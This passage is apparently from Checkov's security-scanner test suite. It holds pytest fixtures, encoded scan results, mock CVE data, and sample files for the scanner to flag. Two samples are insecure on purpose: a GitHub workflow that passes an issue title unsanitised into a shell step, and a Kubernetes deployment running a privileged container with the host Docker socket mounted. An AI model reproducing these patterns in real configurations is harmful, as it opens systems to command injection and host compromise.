"xBQiRwWMeFWoq7APSZ3q1pylvJxvzQt5s/XNSGOf9l9vYLy16SSh+SeqNUP0GFWyasGiFBADGnPgUr4PbK1Pn88nf44c7Ngdz+/2b0FiqC" "n1Wgw2w8lC42DP7e8BzSiHiOmSkRsIe8p1IgFsVcqATcgbKgSpq0m/BcgmVt85QC2HLYXQNrP1igrHOIABY9psJvJyHiPIAMo5YgXX2BTO" "KO5lWJ7CpoBVGSMYAEuF4guoDVK/XiOZkvOtYQ4PLBGnkG/b6dMsY4nRaJXIagPHgS5CUceudUoliLTnPrFQYstCSA5hQ/9qtNTIw4fX+6" "aSWURtQM2WgJo1pAur6ZU3ECwwa2ZlFRNqDEUKIJBvWLdrFT4rVpc9nFbFHBxVqzvxeuuS8cfL90OM9wzyEzOGrhZSIWnUrkIA8Gcdw6zM" "7QtLCjhakcojtqlMOGIBmcQiJ5lUMI41cz9QmsGdkYlVHeFtcK4sVDKuIAoAYz7N1wR2+vU9INPvW3hGJwQKyyJFEw1XBUFKMK8QZBAN4J" "gP8gaZ7aQ6w+4W1QPARwyZysyQJwlwfF573Jhe93HKrOM/bhDMeurrA7qZX1uDxhR62G5P4cxl7EJlt4tVQdtgrG1rSbf7Xa+7eU5xff0H" "sLFUO6rzAfwiG0dr/Vk/w+fgDiS59mbnwX/eXWxBqGcsPYPKWL/McrzI8buX3mDY6Q+97rdb1dgU+e7ynuP3L31Y7g074bdWkwZXHFSlGR" "4JPa8bNTBQxpcVg2y6n94DhLRgGJrK8GQyDF2/Pfo6vGiPTuHPp8/DcfvL+fBzezL80j4dfmifw+9o+GGfCI4Q6g7NoJl2MsWQKMi7qj+z" "7jjLq6t/AKZurgkIhmCGCKhqjdSTspxTgeQBxbJA7cTqqTVxBeqVMih+KAzLGBaMcL1Kqt4VUJoo3Da1tguofqbyW+UrVguqNsV5OFLv9p" "j30drYau4iNl+kbg7s5U7loo0F104Z0K1o70npk5B7sh7+zKC1MruFfDs7snRIrA4ChZrVkKBqbubP5OT2ywfLMMtDquKq9Lww2ULck4sE" "UB8N4cfzDi6S9XLw9UGzTyimwBv0Hq4l+Pdz+zqzKaXo4VIa75bSeKuUYGo43ltK7yfk4+k7Mkfgo1iEgQM6RZb9LingugpDc73Fx7DeGZ" "+jJrA5FgyK7ZxrdB9zPgdwVGJ7g9yOksryRK2KShlhFgQYqL8Wb3xRXyuGlnMoIa6Scg6BwVa8lqXE9tEKkAh1q/nSoD7GKwOiAVasBSuS" "KFgFkAEqt+0Rq6qcs7kEzV0vyYEZ4AOAGqTUJefVIttxgvmEVo3F1dVVC5sjAW0nfl4fwvYV93ywmi8oqvMSbK/7/spllrpkwuE8pL5/3z" "YbuixQ5W388XVSCucvZhiLkqNpTMflxcQy1Bl8sL00yD00FbEEKS7zqh/CLf5YQ2i9SwiyFpE3o3qF/e7h21W387ZheYW8rfV2wLF/i7eH" "U9ndtxVNVHb/pcWhTLZTT3uI7DFOquershqSnJkbqa7v09TJMcx4BLetGeBp1NYDGrr0/eemtjtm712vdk556A0rPOyGFW7dsHb2vXfJem" "2d/P767/8DpWNycPggAAA=" ), "compressionMethod": "gzip", } @pytest.fixture() def image_name2() -> str: return "node:14.16" @pytest.fixture() def cached_scan_result2() -> dict[str, str]: return {'outputType': 'Result', 'outputData': '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', 'compressionMethod': 'gzip'} @pytest.fixture() def cached_scan_result3() -> dict[str, str]: return {'outputType': 'Error', 'outputData': '', 'compressionMethod': 'gzip'} @mock.patch('checkov.sca_image.runner.Runner.scan', mock_scan) @responses.activate def get_sca_image_report(mock_bc_integration: BcPlatformIntegration) -> Report: response_json = { "violations": [ { "name": "pcre2", "version": "10.39-3build1", "license": "Apache-2.0", "policy": "BC_LIC_1", "status": "COMPLIANT" }, { "name": "perl", "version": "5.34.0-3ubuntu1", "license": "Apache-2.0-Fake", "policy": "BC_LIC_1", "status": "OPEN" }, ] } responses.add( method=responses.POST, url=mock_bc_integration.api_url + "/api/v1/vulnerabilities/packages/get-licenses-violations", json=response_json, status=200 ) runner = Runner() runner_filter = RunnerFilter(skip_checks=["CKV_CVE_2022_1586"]) dockerfile_path = "/path/to/Dockerfile" image_id = "sha256:123456" return runner.run(root_folder=DOCKERFILE_EXAMPLES_DIR, runner_filter=runner_filter, dockerfile_path=dockerfile_path, image_id=image_id) @pytest.fixture(scope='package') def sca_image_report(mock_bc_integration: BcPlatformIntegration) -> Report: return get_sca_image_report(mock_bc_integration) @pytest.fixture(scope='function') def sca_image_report_scope_function(mock_bc_integration: BcPlatformIntegration) -> Report: return get_sca_image_report(mock_bc_integration) ================================================ FILE: tests/sca_image/examples/.github/workflows/vulnerable_container.yaml ================================================ on: pull_request name: unsecure-worfklow jobs: my_job: container: image: python:3.9-alpine env: NODE_ENV: development ports: - 80 volumes: - my_docker_volume:/volume_mount options: --cpus 1 unsecure-job: name: job1 runs-on: ubuntu-latest run: | title="${{ github.event.issue.title }}" if [[ ! $title =~ ^.*:\ .*$ ]]; then echo "Bad issue title" exit 1 fi secure-job: name: job2 runs-on: ubuntu-latest run: | echo "foo" ================================================ FILE: tests/sca_image/examples/dockerfile/Dockerfile ================================================ FROM ubuntu RUN mkdir /app RUN groupadd -r tronxd && useradd -r -s /bin/false -g tronxd tronxd WORKDIR /app COPY . /app RUN chown -R tronxd:tronxd /app USER tronxd CMD node index.js ================================================ FILE: tests/sca_image/examples/kubernetes/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: health-check-deployment spec: selector: matchLabels: app: health-check template: metadata: labels: app: health-check spec: containers: - name: health-check image: node:14.16 resources: limits: memory: "100Mi" cpu: "30m" ports: - containerPort: 80 # Custom Stuff securityContext: privileged: true volumeMounts: - mountPath: /custom/docker/docker.sock name: docker-sock-volume volumes: - name: docker-sock-volume hostPath: path: /var/run/docker.sock --- apiVersion: v1 kind: Service metadata: name: health-check-service spec: ports: - protocol: TCP port: 80 targetPort: 80 selector: app: health-check ================================================ FILE: tests/sca_image/mocks.py ================================================ from __future__ import annotations from pathlib import Path from typing import Dict, Any, List from checkov.runner_filter import RunnerFilter from checkov.sca_image.runner import Runner from checkov.common.images.image_referencer import Image def mock_scan(self: Runner, image_id: str, dockerfile_path: str, runner_filter: RunnerFilter | None = None) -> Dict[str, Any]: return dict(results=[{'id': 'sha256:973f3910e3465433dbc712f147f2ce15c42be69ccd558a13a3ec74127b4bd801', 'distro': 'Ubuntu 22.04.1 LTS', 'distroRelease': 'jammy', 'collections': ['All'], 'packages': [{'type': 'os', 'name': 'pcre2', 'version': '10.39-3build1'}, {'type': 'os', 'name': 'libidn2', 'version': '2.3.2-2build1', 'licenses': ['GPL-3+']}, {'type': 'os', 'name': 'perl', 'version': '5.34.0-3ubuntu1', 'licenses': ['GPL-1+ or Artistic']}, {'type': 'os', 'name': 'bzip2', 'version': '1.0.8-5build1', 'licenses': ['BSD-variant']}], 'complianceDistribution': {'critical': 0, 'high': 0, 'medium': 0, 'low': 0, 'total': 0}, 'complianceScanPassed': True, 'vulnerabilities': [ {'id': 'CVE-2020-16156', 'status': 'needed', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'CPAN 2.28 allows Signature Verification Bypass.', 'severity': 'medium', 'packageName': 'perl', 'packageVersion': '5.34.0-3ubuntu1', 'link': 'https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156', 'riskFactors': ['Attack complexity: low', 'Medium severity'], 'impactedVersions': ['*'], 'publishedDate': '2021-12-13T20:15:00+02:00', 'discoveredDate': '2022-08-11T14:03:31+03:00'}, {'id': 'CVE-2022-1587', 'status': 'needed', 'cvss': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H', 'description': 'An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.', 'severity': 'low', 'packageName': 'pcre2', 'packageVersion': '10.39-3build1', 'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network'], 'impactedVersions': ['*'], 'publishedDate': '2022-05-17T00:15:00+03:00', 'discoveredDate': '2022-08-11T14:03:31+03:00'}, {'id': 'CVE-2022-1586', 'status': 'needed', 'cvss': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H', 'description': 'An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.', 'severity': 'low', 'packageName': 'pcre2', 'packageVersion': '10.39-3build1', 'link': 'https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1586', 'riskFactors': ['Attack vector: network', 'Recent vulnerability', 'Attack complexity: low'], 'impactedVersions': ['*'], 'publishedDate': '2022-05-17T00:15:00+03:00', 'discoveredDate': '2022-08-11T14:03:31+03:00'} ], 'vulnerabilityDistribution': {'critical': 0, 'high': 0, 'medium': 2, 'low': 6, 'total': 8}, 'vulnerabilityScanPassed': True}]) def mock_get_images(self: Runner, file_path: str) -> list[Image]: return [Image( file_path='fake_path', name='fake_image', start_line=1, end_line=12 )] def mock_scan_empty(self: Runner, image_id: str, dockerfile_path: str, runner_filter: RunnerFilter | None = None) -> Dict[str, Any]: return {} def mock_scan_image(self: Runner, dockerfile_path: str, image: Image, image_cached_result: Dict[str, Any], root_folder: str | Path | None) -> Dict[str, Any]: return {'dockerImageName': 'node:14.16', 'dockerFilePath': '/Users/lshindelman/development/examples/bce-7720/lshindelman-supplygoat2-7d53e1de969e/.github/workflows/main.yml', 'dockerFileContent': '/Users/lshindelman/development/examples/bce-7720/lshindelman-supplygoat2-7d53e1de969e/.github/workflows/main.yml', 'type': 'Image', 'check_type': 'sca_images', 'sourceId': 'cli_repo/lshindelman-supplygoat2-7d53e1de969e', 'branch': 'master', 'sourceType': 'cli', 'vulnerabilities': [{'cveId': 'CVE-2021-44906', 'status': 'fixed in 1.2.6', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '1.2.5', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix', 'Recent vulnerability'], 'publishedDate': '2022-03-17T16:15:00Z'}, {'cveId': 'CVE-2019-9636', 'status': 'fixed in 3.7.3, 3.6.9, 3.5.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9636', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Python 2.7.x through 2.7.16 and 3.x through 3.7.2 is affected by: Improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization. The impact is: Information disclosure (credentials, cookies, etc. that are cached against a given hostname). The components are: urllib.parse.urlsplit, urllib.parse.urlparse. The attack vector is: A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.7, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.3, v3.7.3rc1, v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2019-03-08T21:29:00Z'}, {'cveId': 'CVE-2019-10160', 'status': 'fixed in 3.7.4, 3.6.9, 3.5.8,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10160', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'A security regression of CVE-2019-9636 was discovered in python since commit d537ab0ff9767ef024f26246899728f0116b1ec3 affecting versions 2.7, 3.5, 3.6, 3.7 and from v3.8.0a4 through v3.8.0b1, which still allows an attacker to exploit CVE-2019-9636 by abusing the user and password parts of a URL. When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed. The result of an attack may vary based on the application.', 'riskFactors': ['Attack vector: network', 'Critical severity', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2019-06-07T18:29:00Z'}, {'cveId': 'CVE-2018-13347', 'status': 'fixed in 4.6.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13347', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'mpatch.c in Mercurial before 4.6.1 mishandles integer addition and subtraction, aka OVE-20180430-0002.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-1000802', 'status': 'fixed in 2.7.16', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000802', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': "Python Software Foundation Python (CPython) version 2.7 contains a CWE-77: Improper Neutralization of Special Elements used in a Command (\\'Command Injection\\') vulnerability in shutil module (make_archive function) that can result in Denial of service, Information gain via injection of arbitrary files on the system or entire drive. This attack appear to be exploitable via Passage of unfiltered user input to the function. This vulnerability appears to have been fixed in after commit add531a1e55b0a739b0f42582f1c9747e5649ace.", 'riskFactors': ['Attack vector: network', 'Critical severity', 'DoS', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2018-09-18T17:29:00Z'}, {'cveId': 'CVE-2017-17458', 'status': 'fixed in 4.4.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-17458', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'In Mercurial before 4.4.1, it is possible that a specially malformed repository can cause Git subrepositories to run arbitrary code in the form of a .git/hooks/post-update script checked into the repository. Typical use of Mercurial prevents construction of such repositories, but they can be created programmatically.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-12-07T18:29:00Z'}, {'cveId': 'CVE-2017-1000158', 'status': 'fixed in 3.5.5, 3.4.8, 2.7.15', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000158', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'CPython (aka Python) up to 2.7.13 is vulnerable to an integer overflow in the PyString_DecodeEscape function in stringobject.c, resulting in heap-based buffer overflow (and possible arbitrary code execution)', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-11-17T05:29:00Z'}, {'cveId': 'CVE-2017-1000116', 'status': 'fixed in 4.3', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000116', 'cvss': 9.8, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Mercurial prior to 4.3 did not adequately sanitize hostnames passed to ssh, leading to possible shell-injection attacks.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2017-10-05T01:29:00Z'}, {'cveId': 'CVE-2016-9063', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-9063', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'An integer overflow during the parsing of XML using the Expat library. This vulnerability affects Firefox < 50.', 'riskFactors': ['Critical severity', 'Has fix', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2018-06-11T21:29:00Z'}, {'cveId': 'CVE-2016-0718', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-0718', 'cvss': 9.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'Expat allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a malformed input document, which triggers a buffer overflow.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'DoS', 'Has fix'], 'publishedDate': '2016-05-26T16:59:00Z'}, {'cveId': 'CVE-2019-9948', 'status': 'fixed in 3.7.4, 3.6.9, 3.5.8,...', 'severity': 'critical', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9948', 'cvss': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N', 'description': "urllib in Python 2.x through 2.7.16 supports the local_file: scheme, which makes it easier for remote attackers to bypass protection mechanisms that blacklist file: URIs, as demonstrated by triggering a urllib.urlopen(\\'local_file:///etc/passwd\\') call.", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2019-03-23T18:29:00Z'}, {'cveId': 'CVE-2018-17983', 'status': 'fixed in 4.7.2', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-17983', 'cvss': 9.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H', 'description': 'cext/manifest.c in Mercurial before 4.7.2 has an out-of-bounds read during parsing of a malformed manifest entry.', 'riskFactors': ['Attack vector: network', 'Critical severity', 'Has fix', 'Attack complexity: low'], 'publishedDate': '2018-10-04T23:29:00Z'}, {'cveId': 'CVE-2018-1000132', 'status': 'fixed in 4.5.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000132', 'cvss': 9.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N', 'description': 'Mercurial version 4.5 and earlier contains a Incorrect Access Control (CWE-285) vulnerability in Protocol server that can result in Unauthorized data access. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 4.5.1.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2018-03-14T13:29:00Z'}, {'cveId': 'CVE-2021-3918', 'status': 'fixed in 0.4.0', 'severity': 'critical', 'packageName': 'json-schema', 'packageVersion': '0.2.3', 'link': 'https://github.com/advisories/GHSA-896r-f27r-55mw', 'cvss': 9, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': "json-schema is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\\'Prototype Pollution\\')", 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2021-11-13T09:15:00Z'}, {'cveId': 'CVE-2017-9462', 'status': 'fixed in 4.1.3', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9462', 'cvss': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'description': 'In Mercurial before 4.1.3, \\"hg serve --stdio\\" allows remote authenticated users to launch the Python debugger, and consequently execute arbitrary code, by using --debugger as a repository name.', 'riskFactors': ['High severity', 'Remote execution', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2017-06-06T21:29:00Z'}, {'cveId': 'CVE-2021-37701', 'status': 'fixed in 6.1.7, 5.0.8, 4.4.16', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-9r2w-394v-53qc', 'cvss': 8.6, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.16, 5.0.8, and 6.1.7 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\\\` and `/` characters as path separators, however `\\\\` is a valid filename character on posix systems. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at `FOO`, followed by a symboli', 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-32804', 'status': 'fixed in 6.1.1, 5.0.6, 4.4.14,...', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-3jfq-g458-7qm9', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-08-03T19:15:00Z'}, {'cveId': 'CVE-2021-32803', 'status': 'fixed in 6.1.2, 5.0.7, 4.4.15,...', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-r628-mhmh-qjhw', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.', 'riskFactors': ['High severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2021-08-03T19:15:00Z'}, {'cveId': 'CVE-2016-4472', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'high', 'packageName': 'python', 